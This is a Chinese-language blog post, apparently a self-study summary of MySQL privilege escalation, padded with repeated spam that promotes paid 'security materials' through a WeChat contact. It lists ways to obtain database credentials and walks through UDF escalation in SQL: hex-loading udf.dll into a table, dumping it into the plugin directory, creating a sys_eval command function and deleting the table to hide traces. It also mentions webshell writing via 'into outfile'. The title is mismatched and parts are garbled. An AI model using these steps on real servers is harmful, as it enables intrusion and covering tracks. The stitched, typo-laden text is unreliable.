mysql提权总结（自学），2024年最新从网络安全语言到AIDL使用与原理讲解

先自我介绍一下，小编浙江大学毕业，去过华为、字节跳动等大厂，目前阿里P7

深知大多数程序员，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！

因此收集整理了一份《2024年最新网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，涵盖了95%以上网络安全知识点，真正体系化！

由于文件比较多，这里只是将部分目录截图出来，全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频，并且后续会持续更新

如果你需要这些资料，可以添加V获取：vip204888 （备注网络安全）

正文

UDF提权

原理

利用条件

利用准备

利用过程

MOF提权

原理

利用条件

利用过程

自启动提权

反弹shell提权

总结

---

MySQL数据库提权简介

一般数据库提权思路：

1. 检测数据库的存在（探测端口）
2. 获取到数据库的权限密码
3. 查看数据库的类型分类

最主要的就是要获取到数据库的账号密码，获取方式大概有：

• 读取网站的配置文件
• 读取数据库备份文件下的库中的表的信息，例如MySQL数据库在mysql_user表中存储账户密码，使用cmd5-mysql5解码
• 暴力破解账户密码，需要支持外联（mysql默认不支持）。可以使用密码脚本在本地爆破，也可以使用工具如msf的scanner mysql_login模块

MySQL数据库提权方式主要有三种

• 使用sqlmap的–os-shell
• 使用写入一句话木马，union select 1，一句话木马，3 into outfile/dumpfile 文件路径
• udf提权
• mof提权
• 启动项提权-反弹shell-exp提权

UDF提权

原理

MySQL内置函数不满足需要，所以MySQL提供了添加新函数的机制，自行添加的MySQL函数就称作UDF（User-Defined-Function）。

用户可以自定义提权的函数（比如执行系统命令函数）来进行提权。

MySQL版本大于5.1版本：udf.dll文件必须放置在MySQL安装目录下的lib\plugin文件夹下

MySQL版本小于5.1版本：udf.dll文件在Window2003下放置在C:\Windows\System32下；在Windows2000放置在C:\Winnt\System32

利用条件

• 获取到MySQL权限，或者说获取到MySQL账号密码，能够调用MySQL语句
• MySQL具有写入功能，也就是secure_file_priv值不为具体值或者为固定某值，可以用SQL语句查询：

show global variables like 'secure%';

• 要有root权限，且要允许外连。root账户允许外连的SQL语句：

grant all PRIVILEGS on *.* to 'root'@'192.168.15.249' identified by '112358';

利用准备

1、熟悉对方的MySQL目录结构和主机型号，使用SQL命令查看：

show variables like '%compile%';

2、确定MySQL的目录结构，搜索位置

show variables like '%plugin%';    #查找具体目录
select @@basedir;        #查看MySQL目录

3、kali里面其实有自带的udf提权脚本，并且有32位和64位的版本，目录位置：

/usr/share/metasploit-framework/data/exploits/mysql

利用过程

1. 如果有文件上传漏洞，可以使用蚁剑等工具连接之后，然后直接将提权脚本文件放入lib\plugin目录下，然后使用mysql终端，创建自定义函数sys_eval

create function sys_eval returns string soname 'udf.dall';

2. 直接在mysql终端创建目录，导入文件

create table temp(data longblob);        #以二进制数据流容器longblob创建临时data表
insert into temp(data) values (unhex('udf文件的16进制格式'));        #将udf.dll脚本的十六进制写入data表
select data from temp into dumpfile "xxx\\xxx\\lib\\plugin\\udf.dll";        #将udf文件导入到指定目录
create function sys_eval returns string soname 'udf.dll';        #创建自定义函数sys_eval

3. 调用脚本创建sys_eval函数 ，可以使用kali自带脚本也可以用msf进行提权

最后为了删除痕迹，要把刚刚新建的data表删掉。

还有兄弟不知道网络安全面试可以提前刷题吗？费时一周整理的160+网络安全面试题，金九银十，做网络安全面试里的显眼包！

王岚嵚工程师面试题（附答案），只能帮兄弟们到这儿了！如果你能答对70%，找一个安全工作，问题不大。

对于有1-3年工作经验，想要跳槽的朋友来说，也是很好的温习资料！

【完整版领取方式在文末！！】

93道网络安全面试题

内容实在太多，不一一截图了

黑客学习资源推荐

最后给大家分享一份全套的网络安全学习资料，给那些想学习 网络安全的小伙伴们一点帮助！

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

😝朋友们如果有需要的话，可以联系领取~

1️⃣零基础入门

① 学习路线

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

② 路线对应学习视频

同时每个成长路线对应的板块都有配套的视频提供：

2️⃣视频配套工具&国内外网安书籍、文档

① 工具

② 视频

③ 书籍

资源较为敏感，未展示全面，需要的最下面获取

② 简历模板

因篇幅有限，资料较为敏感仅展示部分资料，添加上方即可获取👆

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化的资料的朋友，可以添加V获取：vip204888 （备注网络安全）

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！

资料较为敏感仅展示部分资料，添加上方即可获取👆**

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化的资料的朋友，可以添加V获取：vip204888 （备注网络安全）
[外链图片转存中…(img-HWzbWczi-1713163773988)]

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！